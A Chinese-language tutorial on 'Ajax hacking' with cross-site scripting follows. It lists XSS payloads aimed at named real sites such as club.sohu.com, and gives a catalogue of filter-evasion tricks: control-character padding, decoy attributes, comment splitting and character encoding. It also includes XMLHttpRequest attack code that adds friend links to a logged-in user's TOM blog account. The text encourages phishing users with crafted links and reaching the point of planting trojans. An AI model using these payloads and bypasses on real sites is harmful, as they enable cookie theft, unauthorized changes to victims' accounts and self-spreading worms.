文章目錄
- Ajax hacking
- XSS 利用方式
- URL XSS
- Input和textarea以及css XSS
- Embed XSS
- Rss以及Xml XSS
- 代碼插入方式
- 過濾繞過方式
- 非同步資料調用
- 總結
為什麼在Ajax hacking中使用XSS?它與傳統的XSS又有什麼區別?它們各有怎麼樣的利弊端?大型網站的所謂XSS漏洞是否為雞肋?下面我們一起來詳細分析下。
Ajax hacking
Ajax hacking這個名詞最先出現在Billy Hoffman的一篇名為《AJAX dangers》報告中,他把samy 和yamanner這種攻擊形式定義為AJAX hacking。而在此之前它們只是被說屬於web2.0蠕蟲(或XSSworm) ,但對這種攻擊形式並沒有一個明確的定義。這裡我們暫以AJax hacking中的XSS進行一些深入的性討論 。關於Ajax的其他攻擊形式請到網上參看文章《Top 10 Ajax Security Holes and Driving Factors》或 者是翻譯成中文的《細數Web2.0下的十大安全威脅》。
在傳統的XSS攻擊中,我們的目的通常是直接提權或者擷取Cookies後提權,所以代碼執行方式一 般是windows.open、window.location或iframe,於是它的兩大弱點就體現出來了,不具有傳播性和易暴 露性。在AJax hacking中利用Ajax這一種新技術,攻擊方式及對象得以轉變。其實絕大部分人在獲得管理 員許可權又擁有檔案更改許可權後所能做的也就是掛馬,很少設計商業機密之類!而這一攻擊則直接把矛頭指 向用戶端,由於資料全部是使用非同步調取方式,所以具有很強的隱蔽能力;通過操縱已登入的使用者權限, 可以直接對使用者資訊變更,甚至可以使該代碼集合自動傳播實現蠕蟲功能。
XSS 利用方式
在傳播的XSS攻擊案例中,代碼插入的利用方式一般是在URL和文本地區(textarea)中。但對於 日前大面積利用Ajax技術進行建站的網站來說,利用新形式的Ajax hacking技術可以將利用方式大體擴充 到URL域、input域、textarea域、embed域、css、rss、xml載體七種方式。
URL XSS
可以進行XSS的URL一般為"(網域名稱)/(檔案名稱)(檔案格式)?(欄位名)=(欄位內容)"這種 形式,而且欄位內容通常會在頁面的某一個位置顯示出來或者被調用。由於網站編寫者的疏忽,沒有把對 應的欄位內容進行安全檢測和過濾,而直接調用到頁面上,使得我們只把欄位內容替換成我們想要的XSS 代碼即產生跨站。比如:
http://club.sohu.com/joke/1.htm? stra=<script>alert(document.cookie);</script>
但是這種方式一般需要誘使使用者點擊你事先偽造的連結,而連結你可以掛在論壇裡或者以E-mail 的方式進行釣魚性欺騙。
Input和textarea以及css XSS
input和textarea以及css XSS是我們所用到的方式中最廣泛的幾種,由於css實際上屬於Dhtml的 一部分,所以它們的利用方式及繞過過濾特點也大體相同,我們將在後面著重進行相關的解釋和實驗。
Embed XSS
Embed XSS一般利用在允許插入視頻,音樂以及flash的網站上,如果你連結到一個被惡意構造了 含有XSS指令碼的flash檔案,比如<EMBED SRC="xss.swf"></EMBED>,然後我們構造一個特殊 的.swf檔案,並在flash檔案的動作裡插入以Action Script引到的js或vbs代碼。當使用者訪問該頁面時既 產生跨站。
Rss以及Xml XSS
這種攻擊一般利用在可以進行rss彙總的網站以及部分本地的rss解譯器上(據說對本地的rss解釋 器進行XSS,有獲得主機許可權的可能性,不過本人沒有試過這個!),而且由於rss檔案一般可以在任何站 點上被引用,所以想進行這類的攻擊測試是很簡單的事情,效果也相當明顯。下面是對一個沒有進行任何 過濾設定的本地調用遠程rss.xml的執行個體效果,以及Google調用該rss的過濾效果。
代碼插入方式
由於插入的指令碼為js或者是vbs,所有一般需要由的關鍵字JavaScript、VbScript、expression比 如<IMG SRC="JavaScript:alert('XSS');">,但當接收滑鼠或鍵盤響應時,這三個關鍵字可以省略掉,所以有以下利用方法<img onmouseover="alert('XSS')">或者<INPUT onkeyup="alert('XSS');">等等。而且由於html並 不遵循xhtml的標準,所以可以有以下插入方式:
- 標籤屬性可以用雙引號、可以用單引號、也可以可不用引號;
- 屬性值可以大寫;可以小寫;也可以混合寫;
- 可以插入斷行符號、包括段末結尾符和分行符號的兩種、即char(10)和char(13)、tab空格;
- 如果是style形式還可以插入反斜線“\”、注釋符“/**/”;
- 可以將插入的代碼轉換成10進位、16進位;
- 由于禁止的不確定性,你插入的進位串可以進行一系列轉化並可以隨意搭配組合;
- 進字元“j”就可以有以下15種編碼方法,而且還是不計字元的大小寫。
\6A\06A\006A\0006A\00006A //java形式的16進位編碼
jjjjj //十 進位編碼
jjjjj //十 六進位編碼
8. 其他的編碼方式,如htmlEncode和URLEncode對於html及URL的編碼。
至於可以插入代碼的html標籤嘛……說句近乎瘋狂的話——目前幾乎所有可以插入屬性的標籤都 可以插入代碼,比如<bstyle="xss:expression(alert('XSS'))">。
在html標籤中可以插入代碼的屬性一般為:src、style、dynsrc(常用於img和input中,用此屬 性還可以插入視頻等)、lowsrc(預載縮圖)、滑鼠屬性(如o n m o u s e o v e r )、鍵盤屬性( 如onkeypress)、href屬性(常用於a和link)、boby的onload屬性、URL屬性等。
過濾繞過方式
當然人家網站也不可能傻乎乎地讓你輸入這些代碼,所以它們一般會對你輸入的字元進行過濾。 所以我們編寫好的代碼並一定就能順利的插入執行,很有可能某些關鍵的字元被過濾掉了,比 如"JavaScript"。如果只是這種單純的過濾,那麼繞過方法實在太簡單,只要每當輸入此字元時輸 入"javajavascriptscript"之類就可以了。當然網站程式員依然不會這樣傻,它們會進行種種過濾來防備 你,所以結合上面的"代碼插入方式",你可能會總結出以下的繞過網站過濾系統的方法:
1、用控制字元的ASCII碼填充
比如<IMG SRC=";JavaScript:alert('XSS');">,如果你熟悉ASCII碼,你應該 知道系統控制字元一共是33個,這裡去掉一個頭�(null)和一個尾(del),其他31個字元 均可以順利插入代碼頭部,對過濾系統進行混淆,並且不影響原代碼執行,而且你依然可以用"代碼插入 方式"中的"方案7"進行編碼的任意轉換。七種tab符	、分行符號
、斷行符號符
可以插到代碼任何地方。
2、插入混淆屬性
當我們進行一般的文字錄入時會發現,並不是所有帶"JavaSceipt"這樣的字元都會被過濾掉。而是只有在html標籤內的特殊字元會被濾掉,這使得我們有了令一套繞過措施,在插入代碼的屬性前面插 入另一混淆屬性,並在該屬性中插入讓過濾系統誤以為是標籤結束符的字元,從而讓過濾系統認為執行代碼在html標籤的外面。比如:
<img src="abc>" onmouseover="[code]"> //插入混淆的src屬 性
<IMG """><SCRIPT>[code]</SCRIPT>"> //插入混 淆的雙引號及 “>”符號
<SCRIPT a=">" SRC="xss.js"></SCRIPT> //插入混淆的a 屬性
3、用注釋符分割
由於瀏覽器會忽略掉每種代碼的注釋符,因此如果我們在代碼中的注釋符就可以成功地欺騙過濾 系統並且不影響XSS代碼的正常運行。比如:
<img style="xss:expr/*XSS*/ession([code])"> //css的注釋符號 為/**/,其中的內容會被忽略
<style>@im\port'\ja\vasc\ript:alert("XSS")';</style> //css中忽略的符號還有“\”
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression (alert("XSS"))'> //注釋混淆後的樣子
<style><!--</style><script>[code]//-- ></script> //html的注釋符為<!--注釋-->
4、js編碼及調用
如果過濾系統會過濾掉很多的特徵字元,那麼當我們做以上繞過的時候就會非常的麻煩,所以典型的繞過方案還有對這些代碼進行js編碼或者乾脆從外部調用過來。當然由於瀏覽器對Ajax的安全機制,你必須保證調用的檔案在相同的伺服器上,否則就會出現錯誤提示。
非同步資料調用
既然是Ajax hacking,自然需要用到非同步資料調用。這裡將簡單的介紹一下相關的知識,要更 深入的瞭解是長期實踐的結果。
1、聲明xmlhttprequest對象
資料調用需要事先聲明xmlhttprequest對象,在IE6及以前版本中最簡單的做法是:
var XmlHttp=new ActiveXObject("Microsoft.XMLhttp");
在IE7和firefox中的聲明方法是:
var req = new XMLHttpRequest();
所以如果我們想編出相容性更好的代碼,可以對用戶端瀏覽器進行判斷,然後分別定義 xmlhttprequest對象,如下:
if(window.XMLHttprequest){
XmlHttp = new XMLHttpRequest();
}else if (window.ActiveXObject){
Xmlhttp = new ActiveXObject ('Microsoft.XMLHTTP');
}
然後採用以下方法進行參數傳遞
XmlHttp.Open("POST","URL",true);
XmlHttp.send(null);
這裡要主意的是,XmlHttp.Open中的第一個選項為頁面的請求方式,可以為post、get、head三種 第三 個選項true表示非同步方式、false表示同步方式。
利用以上代碼,你可以簡單實現一下在TOM部落格中為目前使用者添加任意使用者的友情連結,如果添加 成功 會返回OK視窗,已經添加會返回friended,代碼如下:
<script>
var XmlHttp=new ActiveXObject ("Microsoft.XMLhttp");
XmlHttp.Open("POST","http://blog.tom.com/manage/favorite/friend_list.php? UserName=monyer1&Flag=1",true);
XmlHttp.send(null)
XmlHttp.onreadystatechange=ServerProcess;
function ServerProcess(){
if (Xmlhttp.readystate==4 || XmlHttp.readystate=='complete')
alert (XmlHttp.responsetext); }
</script>
利用相同原理,給登入使用者添加文章也不是什麼難題,只不過稍微麻煩店而已,感興趣的朋友可 以自 己回去試試。
V b s c r i p t 中聲明xmlhttprequest的代碼為這樣:
dim httpreq as msxml.xmlhttprequest
set httpreq = new xmlhttprequest
httpreq.setrequesttheader "content- type:","text/xml;charest=gb2312"
httpreq,send
利用方式與js大體相同,這裡不做過多的即時。
2、擷取頁面元素
擷取頁面指定標籤和標籤中的值一般會用到以下幾個DOM對象,當然對象後面可以加入相關屬性, 比如 style、value、innerHTML等等。
1)document. getElementByld //獲得制定id的html標籤相關資訊
2)document. getElementByname //獲得指定name的html標籤相關資訊
3)document. getElementByTagName //獲得指定的html標籤相關資訊
3、在頁面中插入html元素
我指導的可以在頁面插入html的js函數有insertAdjacentHTML、innerHTML(outerHTML)、 inserAdjacentText、innerTEXT(outerTEXT)。其中前兩個是插入html代碼,後兩個是插入文本,所以 我們一般所用的就是前兩個。另外用document對象中的creatElement也可以實現代碼插入,輸入js代碼時 請注意大小寫問題。
1)<a href="#" onclick="this.innerHTML='<h1>i am monyer</h1>' ">innerHTML</a> //替換當前標籤中的內容,範圍不包括當前的 html標籤
2)<a href="#" onclick="this.outerHTML='<h1>i am monyer</h1>' ">outerHTML</a> //替換當前標籤及標籤中的內容,範圍包括當 前標籤及其中所有內容
3)<a onclick="this.insertAdjacentHTML('afterEnd',<h1>monyer</h1>')" href="#">insertAdjacentHTML</a> //新增插入的html代碼,不改 變原標籤及內容
指定插入html標籤語句的地方,有四種值用:
a.beforeBegin:插入到標籤開始標記後
b.afterBegin:插入到標籤開始標記後
c.beforeEnd:插入到標籤結束標記前
d.afterEnd:插入到標籤結束標記後
靈活地運用這兩個函數能幫我們變換出豐富的效果來,我利用百度空間插入視頻的簡化POC:
Html頁面的代碼為:
<script scr=monyerflash.js></script>
<address>src=http:/ /tv.mofile.com/cn/xplayer.swf?v=9IWKFISE</address>
monyerflash.js代碼為:
window.onload=function(){
var i,j,x,y,z;
j=document.getElementsByTagName ('address');
for(i=0;i<j.length;i++){
y=document.getElementsByTagName('address') [i];
z=document.getElementsByTagName('address') [i].firstChild.data;
x='<br/><embed '+z+'></embed>';
if(y) y.insertAdjacentHTML('beforeEnd'.x);
}}
總結
有了以上概述,相信你對Ajax hacking with XSS已經有了一個大體的瞭解,並且只要把文中的響 應內容進行簡單的組合和更改,就很可能做出某些令人驚喜的東西。當然因為Ajax應用的是JavaScript的 一部分,所以想充分利用Ajax式的hacking並發揮它的威力還需要你對JavaScript有一個充分的瞭解。當 你在各個過濾系統間實戰時,你會遇到更多的苦難並需要試著解決各種問題。我認為是否真正入侵一個網 站或者順利掛馬是次要的,不斷提高自己,在功與防的對立統一中不斷尋求突破才是王道!